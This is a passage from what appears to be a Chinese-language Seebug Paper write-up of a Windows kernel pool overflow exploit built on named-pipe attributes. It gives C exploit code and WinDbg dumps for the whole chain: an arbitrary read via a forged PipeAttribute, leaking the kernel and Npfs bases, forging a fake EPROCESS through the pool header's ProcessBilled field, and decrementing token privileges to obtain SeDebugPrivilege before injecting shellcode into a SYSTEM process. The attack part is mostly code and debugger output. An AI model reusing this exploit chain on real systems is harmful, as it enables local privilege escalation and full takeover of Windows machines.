overwritten_pipe_attribute = (pipe_attribute_t*)((char *)ghost_overwrite_buf + xploit->ghost_chunk_offset + POOL_HEADER_SIZE);
// 使指向下一個屬性的指針在用戶層
overwritten_pipe_attribute->list.Flink = (LIST_ENTRY *)xploit->fake_pipe_attribute;
// 虛擬值,必須在退出前修復它以避免崩潰
overwritten_pipe_attribute->list.Blink = (LIST_ENTRY *)0xDEADBEEFCAFEB00B;
// 將屬性名設置為一個錯誤的值,這樣當我們試圖從這里讀取和屬性時,就永遠找不到它,所以它總是會去下一個指向userland的屬性
overwritten_pipe_attribute->AttributeName = DUMB_ATTRIBUTE_NAME;
overwritten_pipe_attribute->ValueSize = 0x1;
overwritten_pipe_attribute->AttributeValue = DUMB_ATTRIBUTE_NAME;
}
修改后的幽靈塊的Pipe_Attribute
0: kd> dq ffffb80008cfb3e0 //這里是被rewrite再次占用的幽靈塊
ffffb800`08cfb3e0 7441704e`03190000 ffffffff`ffffffff
ffffb800`08cfb3f0 ffffb800`0906fbb0 ffffb800`0906fbb0
ffffb800`08cfb400 ffffb800`08cfb418 00000000`00000156
ffffb800`08cfb410 ffffb800`08cfb41a 45454545`4545005a
ffffb800`08cfb420 45454545`45454545 45454545`45454545 //幽靈塊的Pipe_Attribute已經被成功修改。
ffffb800`08cfb430 00000000`00bd1440 deadbeef`cafeb00b //List_next已經被修改為指向用戶層的Fake_Pipe_Attribute的指針
ffffb800`08cfb440 00000000`0040e85c 00000000`00000001
ffffb800`08cfb450 00000000`0040e85c 45454545`45454545
6. 任意地址讀原語
經過上面第五步的操作,實際上我們已經獲得了一個任意地址讀原語。
在第五步的操作中,我們將幽靈塊的Pipe_Attribute進行了修改,Pipe_Attribute的結構如下。
//PipeAttribute是未公開的結構體
struct PipeAttribute {
LIST_ENTRY list;
char * AttributeName;
uint64_t AttributeValueSize ;
char * AttributeValue ;
char data [0];
};
有一個已知的情況是,分頁池創建管道后,用戶可以向管道添加屬性,同時屬性值分配的大小和填充的數據完全由用戶來控制。
AttributeName和AttributeValue是指向數據區不同偏移的兩個指針。
同時在用戶層,可以使用0x110038控制碼來讀取屬性值。AttributeValue指針和AttributeValueSize大小將被用于讀取屬性值并返回給用戶。
屬性值可以被修改,但這會觸發先前的PipeAttribute的釋放和新的PipeAttribute的分配。
這意味著如果攻擊者可以控制PipeAttribute結構體的AttributeValue和AttributeValueSize字段,它就可以在內核中任意讀取數據,但不能任意寫。
所以,現在我們控制了幽靈塊中Pipe_Attribute的List_next指針值,使其指向用戶層的Pipe_Attribute,也就意味著用戶層的PipeAttribute結構體的AttributeValue和AttributeValueSize字段我們可以任意指定,也就可以在內核中任意讀取數據數據,即獲得了一個任意地址讀原語。
7. 獲取kernel_base
void find_kernel_base(xploit_t * xploit)
{
uintptr_t file_object_ptr = 0;
uintptr_t file_object;
uintptr_t device_object;
uintptr_t driver_object;
uintptr_t NpFsdCreate;
file_object_ptr = xploit->find_file_object(xploit);
// Get the leak of ntoskrnl and npfs
exploit_arbitrary_read(xploit, file_object_ptr, (char *)&file_object, 0x8);//文件對象
printf("[+] File object is : 0x%llx\n", file_object);
exploit_arbitrary_read(xploit, file_object+8, (char *)&device_object, 0x8);//設備對象
printf("[+] Device object is : 0x%llx\n", device_object);
exploit_arbitrary_read(xploit, device_object+8,(char *)&driver_object, 0x8);//驅動對象
printf("[+] Driver object is : 0x%llx\n", driver_object);
exploit_arbitrary_read(xploit, driver_object+0x70, (char *)&NpFsdCreate, 0x8);//驅動的第一個派遣函數
printf("[+] Major function is : 0x%llx\n", NpFsdCreate);
uintptr_t ExAllocatePoolWithTag_ptr = NpFsdCreate - NPFS_NPFSDCREATE_OFFSET + NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET;//通過驅動派遣函數先獲取到該驅動的基址,然后加上ExAllocatePoolWithTag函數在該驅動的導入表的偏移
uintptr_t ExAllocatePoolWithTag;
exploit_arbitrary_read(xploit, ExAllocatePoolWithTag_ptr, (char *)&ExAllocatePoolWithTag, 0x8);//從導入表中獲取ExAllocatePoolWithTag函數的實際地址
printf("[+] ExAllocatePoolWithTag is : 0x%llx\n", ExAllocatePoolWithTag);
xploit->kernel_base = ExAllocatePoolWithTag - NT_ALLOCATEPOOLWITHTAG_OFFSET;//ExAllocatePoolWithTag函數的地址減去nt中的偏移,就拿到了nt的基址
}
0: kd> dt _FILE_OBJECT 0xFFFFE103010A18F0
ntdll!_FILE_OBJECT
+0x000 Type : 0n5
+0x002 Size : 0n216
+0x008 DeviceObject : 0xffffe102`faf538f0 _DEVICE_OBJECT
+0x010 Vpb : (null)
+0x018 FsContext : 0xffffb800`09002980 Void
+0x020 FsContext2 : 0xffffb800`0885a051 Void
..................................................
0: kd> dt _DEVICE_OBJECT 0xffffe102`faf538f0
ntdll!_DEVICE_OBJECT
+0x000 Type : 0n3
+0x002 Size : 0x308
+0x004 ReferenceCount : 0n2768
+0x008 DriverObject : 0xffffe102`facd8ce0 _DRIVER_OBJECT
+0x010 NextDevice : (null)
+0x018 AttachedDevice : 0xffffe102`fc56ace0 _DEVICE_OBJECT
............................................................
0: kd> dt _DRIVER_OBJECT 0xffffe102`facd8ce0
ntdll!_DRIVER_OBJECT
+0x000 Type : 0n4
+0x002 Size : 0n336
+0x008 DeviceObject : 0xffffe102`faf538f0 _DEVICE_OBJECT
+0x010 Flags : 0x12
+0x018 DriverStart : 0xfffff803`3f090000 Void
+0x020 DriverSize : 0x1c000
+0x028 DriverSection : 0xffffe102`faa457c0 Void
+0x030 DriverExtension : 0xffffe102`facd8e30 _DRIVER_EXTENSION
+0x038 DriverName : _UNICODE_STRING "\FileSystem\Npfs"
+0x048 HardwareDatabase : 0xfffff803`3a3af8f8 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+0x050 FastIoDispatch : 0xffffe102`fa77ae60 _FAST_IO_DISPATCH
+0x058 DriverInit : 0xfffff803`3f0a8010 long Npfs!GsDriverEntry+0
+0x060 DriverStartIo : (null)
+0x068 DriverUnload : (null)
+0x070 MajorFunction : [28] 0xfffff803`3f09b670 long Npfs!NpFsdCreate+0
0: kd> ? 0xfffff803`3f09b670-0xB670
Evaluate expression: -8782150565888 = fffff803`3f090000 //這就是Npfs的基址
0: kd> lmDvmNpfs
Browse full module list
start end module name
fffff803`3f090000 fffff803`3f0ac000 Npfs (pdb symbols) d:\symbolsxp\npfs.pdb\D55EC1D15C78BD2E15ACB3E1D6A1A1111\npfs.pdb
Loaded symbol image file: Npfs.SYS
Image path: Npfs.SYS
Image name: Npfs.SYS
Browse all global symbols functions data
Image was built with /Brepro flag.
Timestamp: B03ECFD3 (This is a reproducible build file hash, not a timestamp)
CheckSum: 000252E2
ImageSize: 0001C000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
Information from resource tables:
Unable to enumerate user-mode unloaded modules, Win32 error 0n30
0: kd> ? fffff803`3f090000 + 0x7050
Evaluate expression: -8782150537136 = fffff803`3f097050
0: kd> ln fffff803`3f097050
Browse module
Set bu breakpoint
(fffff803`3f097050) Npfs!_imp_ExAllocatePoolWithTag | (fffff803`3f097058) Npfs!_imp_ExFreePoolWithTag
Exact matches:
0: kd> dq fffff803`3f097050 L1
fffff803`3f097050 fffff803`39d6f010
0: kd> ln fffff803`39d6f010
Browse module
Set bu breakpoint
(fffff803`39d6f010) nt!ExAllocatePoolWithTag | (fffff803`39d6f0a0) nt!ExFreePool
Exact matches:
nt!ExAllocatePoolWithTag (void)
0: kd> ? fffff803`39d6f010 - 0x36f010
Evaluate expression: -8782241333248 = fffff803`39a00000 //這就是kernel_base
0: kd> lmDvmNT
Browse full module list
start end module name
fffff803`39a00000 fffff803`3a4b6000 nt (pdb symbols) d:\symbolsxp\ntkrnlmp.pdb\90F5E1C8BBE1FE1FB8A714305EE06F361\ntkrnlmp.pdb
Loaded symbol image file: ntkrnlmp.exe
Image path: ntkrnlmp.exe
Image name: ntkrnlmp.exe
Browse all global symbols functions data
Image was built with /Brepro flag.
Timestamp: 4EFCF7A9 (This is a reproducible build file hash, not a timestamp)
CheckSum: 009785ED
ImageSize: 00AB6000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
Information from resource tables:
Unable to enumerate user-mode unloaded modules, Win32 error 0n30
8. SETUP_FAKE_EPROCESS
首先我們看下POOL_HEADER的結構:
struct POOL_HEADER
{
char PreviousSize;
char PoolIndex;
char BlockSize;
char PoolType;
int PoolTag;
Ptr64 ProcessBilled ;
};
在POOL_HEADER中,如果設置了PoolType中的PoolQuota位,那么將觸發POOL HEADER中ProcessBilled指針的使用,ProcessBilled字段存儲經過如下所示的運算后的值。
ProcessBilled = EPROCESS_PTR ^ ExpPoolQuotaCookie ^ CHUNK_ADDR
當塊被釋放時,內核將檢查ProcessBilled字段編碼的指針是否是一個有效的EPROCESS指針
process_ptr = (struct _EPROCESS *)(chunk_addr ^ ExpPoolQuotaCookie ^ chunk_addr ->process_billed );
if ( process_ptr )
{
if (process_ptr < 0xFFFF800000000000 || (process_ptr ->Header.Type & 0x7F) != 3 )
KeBugCheckEx ([...])
[...]
}
如果是有效的指針,釋放塊后,內核將嘗試返還與EPROCESS相關的用于引用的Quota counter。如果此時EPROCESS是我們提供的FAKE_EPROCESS,它將使用FAKE_EPROCESS結構體來尋找要解引用的指針值。這將提供任意遞減原語。遞減的值是PoolHeader中的BlockSize。
我們的最終目的是為了提權,那么這里用到的提權方法是設置EPROCESS中TOKEN結構體的Privileges.Enable字段和Privileges.Present字段,默認情況下,低完整性級別的Token的Privileges.Present被設置為0x602880000,Privileges.Enable被設置為0x800000,這時具有的權限只有SeChangeNotifyPrivilege,如果想獲取更多權限,例如將Privileges.Enable減1,它將變成 0x7fff,這將啟用更多的權限,所以現在我們要做的就是遞減TOKEN結構體的Privileges.Enable字段和Privileges.Present字段。
所以現在需要獲取ExpPoolQuotaCookie、幽靈塊的地址、EXP進程的EPROCESS、EXP進程的TOKEN,以便構造一個正確的FAKE_EPROCESS結構。
exploit_arbitrary_read(&xploit, xploit.kernel_base + NT_POOLQUOTACOOKIE_OFFSET, (char *)&xploit.ExpPoolQuotaCookie, 0x8);
printf("[+] ExpPoolQuotaCookie is : 0x%llx\n", xploit.ExpPoolQuotaCookie);
if (!find_self_eprocess(&xploit))//獲取EXP進程的ERPCESS地址
goto leave;
exploit_arbitrary_read(&xploit, xploit.self_eprocess + 0x360, (char *)&xploit.self_token, 0x8);
xploit.self_token = xploit.self_token & (~0xF);
setup_fake_eprocess(&xploit);
獲取到的值如下
0: kd> ? fffff803`39a00000 + 0x5748D0
Evaluate expression: -8782235612976 = fffff803`39f748d0
0: kd> ln fffff803`39f748d0
Browse module
Set bu breakpoint
(fffff803`39f748d0) nt!ExpPoolQuotaCookie | (fffff803`39f748d8) nt!PspEnclaveDispatchReturn
Exact matches:
0: kd> ? fffff803`39a00000 + 0x5743A0
Evaluate expression: -8782235614304 = fffff803`39f743a0
0: kd> ln fffff803`39f743a0 //system進程的EPROCESS
Browse module
Set bu breakpoint
(fffff803`39f743a0) nt!PsInitialSystemProcess | (fffff803`39f743a8) nt!PpmPlatformStates
Exact matches:
0: kd> dt nt!_EPROCESS 0xFFFFE102FFBBD0C0
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : 0x00000000`0000073c Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0xffffe102`fa0c5370 - 0xffffe102`ffc09370 ]//通過遍歷這個結構,就可以找到EXP進程的EPROCESS
+0x300 RundownProtect : _EX_RUNDOWN_REF
+0x308 Flags2 : 0x200d000
........................................
+0x360 Token : _EX_FAST_REF
........................................
+0x410 QuotaBlock : 0xffffe102`fd322d40 _EPROCESS_QUOTA_BLOCK //這就是將要被遞減的Quota counter 偏移為0x410
........................................
+0x450 ImageFileName : [15] "poc_exploit-re"
0: kd> ? 0xFFFFE102FFBBD0C0+0x360
Evaluate expression: -34071980026848 = ffffe102`ffbbd420
0: kd> dq ffffe102`ffbbd420 L1
ffffe102`ffbbd420 ffffb800`08ddb064
0: kd> ? ffffb800`08ddb064 & 0xFFFFFFFFFFFFFFF0
Evaluate expression: -79164688453536 = ffffb800`08ddb060 //這里才是真實的TOKEN值
0: kd> dt nt!_TOKEN ffffb800`08ddb060
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffff`ffffffff
+0x030 TokenLock : 0xffffe102`fe18dc90 _ERESOURCE
+0x038 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
+0x058 AuditPolicy : _SEP_AUDIT_POLICY
+0x078 SessionId : 1
............................................
0: kd> dx -id 0,0,ffffe102fa07b300 -r1 (*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0))
(*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0)) [Type: _SEP_TOKEN_PRIVILEGES]
[+0x000] Present : 0x602880000 [Type: unsigned __int64] //默認值為0x602880000
[+0x008] Enabled : 0x800000 [Type: unsigned __int64] //默認值為0x800000
[+0x010] EnabledByDefault : 0x40800000 [Type: unsigned __int64]
0: kd> !TOKEN ffffb800`08ddb060
_TOKEN 0xffffb80008ddb060
19 0x000000013 SeShutdownPrivilege Attributes -
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default //默認只有SeChangeNotifyPrivilege權限
25 0x000000019 SeUndockPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes -
34 0x000000022 SeTimeZonePrivilege Attributes -
此時構造FAKE_EPROCESS所需的值已經全都拿到了
void setup_fake_eprocess(xploit_t * xploit)
{
char fake_eprocess_attribute_buf[0x1000] = {0};
char fake_eprocess_buf[0x10000] = {0};
strcpy(fake_eprocess_attribute_buf, DUMB_ATTRIBUTE_NAME2);
initFakeEprocess(fake_eprocess_buf, (PVOID)xploit->self_token + 0x48);//填入self_token + 0x48
//#define DUMB_ATTRIBUTE_NAME2 "DUMB2"
//#define DUMB_ATTRIBUTE_NAME2_LEN sizeof(DUMB_ATTRIBUTE_NAME2)
memcpy(fake_eprocess_attribute_buf + DUMB_ATTRIBUTE_NAME2_LEN, fake_eprocess_buf, FAKE_EPROCESS_SIZE);
initFakeEprocess(fake_eprocess_buf, (PVOID)xploit->self_token + 0x41);//self_token + 0x41
memcpy(fake_eprocess_attribute_buf + DUMB_ATTRIBUTE_NAME2_LEN + FAKE_EPROCESS_SIZE, fake_eprocess_buf, FAKE_EPROCESS_SIZE);
xploit->alloc_fake_eprocess(xploit, fake_eprocess_attribute_buf);
printf("[+] fake_eprocess is : 0x%llx\n", xploit->fake_eprocess);
}
self_token + 0x48和self_token + 0x41的值如下
0: kd> ? ffffb800`08ddb060 + 0x41
Evaluate expression: -79164688453471 = ffffb800`08ddb0a1
0: kd> dq ffffb800`08ddb0a1 L1
ffffb800`08ddb0a1 00000000`06028800 //Privileges.Present
0: kd> ? ffffb800`08ddb060 + 0x48
Evaluate expression: -79164688453464 = ffffb800`08ddb0a8
0: kd> dq ffffb800`08ddb0a8 L1
ffffb800`08ddb0a8 00000000`00800000 //Privileges.Enable
將Fake_EPROCESS填充到POOL_HEADER的ProcessBilled字段
xploit.setup_final_write(&xploit, final_write_buf);//這里將Pipe_Attribute屬性中特定偏移處的值設置為幽靈塊原始的Pipe_Attribute的值,以防藍屏
free_pipes(xploit.respray);
xploit.respray = NULL;
free_pipes(xploit.rewrite);//釋放漏洞塊
xploit.rewrite = NULL;
xploit.final_write = prepare_pipes(SPRAY_SIZE * 10, xploit.targeted_vuln_size + POOL_HEADER_SIZE, final_write_buf, xploit.spray_type);
if (!spray_pipes(xploit.final_write))//重新占用漏洞塊,且修復了Pipe_Attribute為原始值,并且將ProcessBilled指針設置為Fake_Eprocess異或后的值
goto leave_wait;
填充完Fake_EPROCESS后,幽靈塊的Pipe_Attribute如下
0: kd> dq ffffb80008cfb3e0
ffffb800`08cfb3e0 7441704e`03190000 ffffffff`ffffffff
ffffb800`08cfb3f0 ffffb800`09126710 ffffb800`09126710
ffffb800`08cfb400 ffffb800`08cfb418 00000000`00000156
ffffb800`08cfb410 ffffb800`08cfb41a 46464646`4646005a
ffffb800`08cfb420 41424344`08210000 d60eba94`936c5d5f
ffffb800`08cfb430 ffffb800`0885a190 ffffb800`0885a190 //list_nest已經還原
ffffb800`08cfb440 00000000`0040e85a 46464646`46464646
ffffb800`08cfb450 46464646`46464646 46464646`46464646
0: kd> dt nt!_POOL_HEADER ffffb800`08cfb420
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00100001 (0x21)
+0x002 PoolType : 0y00001000 (0x8)
+0x000 Ulong1 : 0x8210000
+0x004 PoolTag : 0x41424344
+0x008 ProcessBilled : 0xd60eba94`936c5d5f _EPROCESS //這里是經過異或的FAKE_EPROCESS
+0x008 AllocatorBackTraceIndex : 0x5d5f
+0x00a PoolTagHash : 0x936c
0: kd> dq fffff803`39f748d0 L1
fffff803`39f748d0 d60ee396`61a519ef
0: kd> ? 0xd60eba94`936c5d5f ^ d60ee396`61a519ef ^ ffffb800`08cfb420
Evaluate expression: -34072075767664 = ffffe102`fa06f090 //
0: kd> dt nt!_EPROCESS ffffe102`fa06f090
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : 0x41414141`41414141 Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0x41414141`41414141 - 0x41414141`41414141 ]
+0x300 RundownProtect : _EX_RUNDOWN_REF
.........................................
+0x410 QuotaBlock : 0xffffb800`08ddb0a8 _EPROCESS_QUOTA_BLOCK
+0x418 ObjectTable : 0x41414141`41414141 _HANDLE_TABLE
.........................................
0: kd> dq 0xffffb80008ddb0a8 L1
ffffb800`08ddb0a8 00000000`00800000 //FAKE_EPROCESS的QuotaBlock已經被填充為TOKEN的Privileges.Enable,這個值將會在幽靈塊釋放后被遞減
9. 第一次釋放幽靈塊
當釋放幽靈塊時,FAKE_EPROCESS相關的Quota counter將會被遞減,也就是會對Privileges.Enable進行遞減。
xploit.free_ghost_chunk(&xploit);//第一次釋放幽靈塊
xploit.alloc_ghost_chunk(&xploit, attribute);//再次占用幽靈塊
free_pipes(xploit.final_write);
xploit.final_write = NULL;
spray_pipes(xploit.final_write2);//第一次釋放幽靈塊后,這里再次占用漏洞塊,然后將新的幽靈塊的ProcessBilled繼續填充為FAKE_EPROCESS
第一次釋放幽靈塊
0: kd> dq ffffb80008cfb3e0
ffffb800`08cfb3e0 7441704e`03190000 ffffffff`ffffffff
ffffb800`08cfb3f0 ffffb800`0956c870 ffffb800`0956c870
ffffb800`08cfb400 ffffb800`08cfb418 00000000`00000156
ffffb800`08cfb410 ffffb800`08cfb41a 46464646`4646005a
ffffb800`08cfb420 41424344`08e40000 d60eba94`936c581f
ffffb800`08cfb430 ffffb800`0885a190 ffffb800`0885a190
ffffb800`08cfb440 00000000`0040e85a 46464646`46464646
ffffb800`08cfb450 46464646`46464646 46464646`46464646
0: kd> dx -id 0,0,ffffe102fa07b300 -r1 (*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0))
(*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0)) [Type: _SEP_TOKEN_PRIVILEGES]
[+0x000] Present : 0x602880000 [Type: unsigned __int64]
[+0x008] Enabled : 0x7ffdf0 [Type: unsigned __int64] //可以看到,Privileges.Enable的值已經改變
[+0x010] EnabledByDefault : 0x40800000 [Type: unsigned __int64]
0: kd> dt nt!_POOL_HEADER ffffb800`08cfb420
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y11100100 (0xe4)
+0x002 PoolType : 0y00001000 (0x8)
+0x000 Ulong1 : 0x8e40000
+0x004 PoolTag : 0x41424344
+0x008 ProcessBilled : 0xd60eba94`936c581f _EPROCESS //這是第二次準備遞減的異或后的FAKE_EPROCESS
+0x008 AllocatorBackTraceIndex : 0x581f
+0x00a PoolTagHash : 0x936c
10. 第二次釋放幽靈塊
xploit.free_ghost_chunk(&xploit);
第二次釋放幽靈塊后,Privileges.Present也已經修改成功。
0: kd> dx -id 0,0,ffffe102fa07b300 -r1 (*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0))
(*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffb80008ddb0a0)) [Type: _SEP_TOKEN_PRIVILEGES]
[+0x000] Present : 0x60279c000 [Type: unsigned __int64]
[+0x008] Enabled : 0x7ffdf0 [Type: unsigned __int64]
[+0x010] EnabledByDefault : 0x40800000 [Type: unsigned __int64]
11. shellcode注入
到此為止,我們已經成功獲取到了SeDebugPrivilege權限
0: kd> dt _token ffff8b81`b54f8830
.................................
14 0x00000000e SeIncreaseBasePriorityPrivilege Attributes - Enabled
15 0x00000000f SeCreatePagefilePrivilege Attributes - Enabled
16 0x000000010 SeCreatePermanentPrivilege Attributes - Enabled
19 0x000000013 SeShutdownPrivilege Attributes - Enabled
20 0x000000014 SeDebugPrivilege Attributes - Enabled
21 0x000000015 SeAuditPrivilege Attributes - Enabled
22 0x000000016 SeSystemEnvironmentPrivilege Attributes - Enabled
25 0x000000019 SeUndockPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes -
34 0x000000022 SeTimeZonePrivilege Attributes -
..................................
此時我們就可以打開任意SYSTEM權限進程,并注入shellcode實現彈出一個SYSTEM權限的shell。

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1743/
暫無評論